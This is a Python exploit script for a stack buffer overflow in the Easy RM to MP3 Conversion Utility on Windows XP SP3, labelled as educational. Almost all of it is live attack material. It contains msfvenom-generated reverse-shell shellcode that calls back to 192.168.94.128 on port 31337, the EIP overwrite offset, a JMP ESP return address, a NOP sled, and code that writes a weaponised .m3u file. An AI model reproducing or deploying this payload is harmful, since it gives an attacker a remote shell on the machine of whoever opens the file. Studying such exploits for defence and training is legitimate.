#!/usr/bin/env python
import struct

#----------------------------------------------------------------------------------#
# Exploit: Easy RM to MP3 Conversion Utility Stack Buffer Overflow                 #
# OS Tested: XP PRO SP3 (Professional)                                             #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe      #
#----------------------------------------------------------------------------------#
# I wrote this exploit for educational purposes                                    #                                                                 #
#----------------------------------------------------------------------------------#
filename = 'rekt.m3u'

#-----------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -f python -v shellcode -b '\x00' EXITFUNC=process  #
#-----------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\xbd\x81\x95\xfd\xc9\xd9\xf6\xd9\x74\x24\xf4\x5e"
shellcode += "\x2b\xc9\xb1\x52\x83\xc6\x04\x31\x6e\x0e\x03\xef"
shellcode += "\x9b\x1f\x3c\x13\x4b\x5d\xbf\xeb\x8c\x02\x49\x0e"
shellcode += "\xbd\x02\x2d\x5b\xee\xb2\x25\x09\x03\x38\x6b\xb9"
shellcode += "\x90\x4c\xa4\xce\x11\xfa\x92\xe1\xa2\x57\xe6\x60"
shellcode += "\x21\xaa\x3b\x42\x18\x65\x4e\x83\x5d\x98\xa3\xd1"
shellcode += "\x36\xd6\x16\xc5\x33\xa2\xaa\x6e\x0f\x22\xab\x93"
shellcode += "\xd8\x45\x9a\x02\x52\x1c\x3c\xa5\xb7\x14\x75\xbd"
shellcode += "\xd4\x11\xcf\x36\x2e\xed\xce\x9e\x7e\x0e\x7c\xdf"
shellcode += "\x4e\xfd\x7c\x18\x68\x1e\x0b\x50\x8a\xa3\x0c\xa7"
shellcode += "\xf0\x7f\x98\x33\x52\x0b\x3a\x9f\x62\xd8\xdd\x54"
shellcode += "\x68\x95\xaa\x32\x6d\x28\x7e\x49\x89\xa1\x81\x9d"
shellcode += "\x1b\xf1\xa5\x39\x47\xa1\xc4\x18\x2d\x04\xf8\x7a"
shellcode += "\x8e\xf9\x5c\xf1\x23\xed\xec\x58\x2c\xc2\xdc\x62"
shellcode += "\xac\x4c\x56\x11\x9e\xd3\xcc\xbd\x92\x9c\xca\x3a"
shellcode += "\xd4\xb6\xab\xd4\x2b\x39\xcc\xfd\xef\x6d\x9c\x95"
shellcode += "\xc6\x0d\x77\x65\xe6\xdb\xd8\x35\x48\xb4\x98\xe5"
shellcode += "\x28\x64\x71\xef\xa6\x5b\x61\x10\x6d\xf4\x08\xeb"
shellcode += "\xe6\x3b\x64\xad\x76\xd3\x77\x51\x0d\x4d\xf1\xb7"
shellcode += "\x9b\x9d\x57\x60\x34\x07\xf2\xfa\xa5\xc8\x28\x87"
shellcode += "\xe6\x43\xdf\x78\xa8\xa3\xaa\x6a\x5d\x44\xe1\xd0"
shellcode += "\xc8\x5b\xdf\x7c\x96\xce\x84\x7c\xd1\xf2\x12\x2b"
shellcode += "\xb6\xc5\x6a\xb9\x2a\x7f\xc5\xdf\xb6\x19\x2e\x5b"
shellcode += "\x6d\xda\xb1\x62\xe0\x66\x96\x74\x3c\x66\x92\x20"
shellcode += "\x90\x31\x4c\x9e\x56\xe8\x3e\x48\x01\x47\xe9\x1c"
shellcode += "\xd4\xab\x2a\x5a\xd9\xe1\xdc\x82\x68\x5c\x99\xbd"
shellcode += "\x45\x08\x2d\xc6\xbb\xa8\xd2\x1d\x78\xd8\x98\x3f"
shellcode += "\x29\x71\x45\xaa\x6b\x1c\x76\x01\xaf\x19\xf5\xa3"
shellcode += "\x50\xde\xe5\xc6\x55\x9a\xa1\x3b\x24\xb3\x47\x3b"
shellcode += "\x9b\xb4\x4d"

#----------------------------------------------------------------------------------#
# (*) Badchars = '\x00'                                                            #
#                                                                                  #
# (1) Crash to EIP 26064-bytes                                                     #
# (2) JMP ESP 0x1001b058 [MSRMfilter03.dll]                                        #
# (3) shellcode space = 3900                                                       #
#----------------------------------------------------------------------------------#
# Stack Based Overflow Exploit Structure:                                          #
#                                                                                  #
#                                                                                  #
#     [AAA..................AAA]      [EIP]      [BBB..................BBB]        #
#     \-------------------------------> \-------->                                 #
#                                                                                  #
#----------------------------------------------------------------------------------#

buffer = ''
buffer += '\x41' * 26064
buffer += struct.pack('<L', 0x1001b058)
buffer += '\x90' * 32
buffer += shellcode
buffer += '\x43' * (30000 - 26064 - 4 - 32 - len(shellcode))

data = open(filename, 'w')
data.write(buffer)
data.close()
print '[*] File created'
